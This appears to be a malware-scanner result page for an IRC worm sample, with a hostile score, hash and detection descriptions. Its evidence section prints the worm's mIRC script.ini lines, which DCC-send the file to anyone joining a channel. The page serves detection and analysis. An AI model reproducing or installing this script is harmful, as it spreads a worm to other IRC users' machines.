Hostile 92% Download

IRC-Worm.IRC.Simpsalapim.u

Known IRC worm payload

Detects mIRC DCC spreading behavior targeting script.iniDetects mIRC worm behavior modifying script.ini to spread via IRC
SHA-25607f190ce92bd85c45df492d14929de6cbd6c43464f81e92f0ce0b2ec3b79fcf4
MaleculeO₂(CLa)H(F)

Evidence

Detects mIRC dcc send command lines 1–5
1[script]
2n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }
3n1= /dcc send $nick c:\mIRC\script.ini}
4
5

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.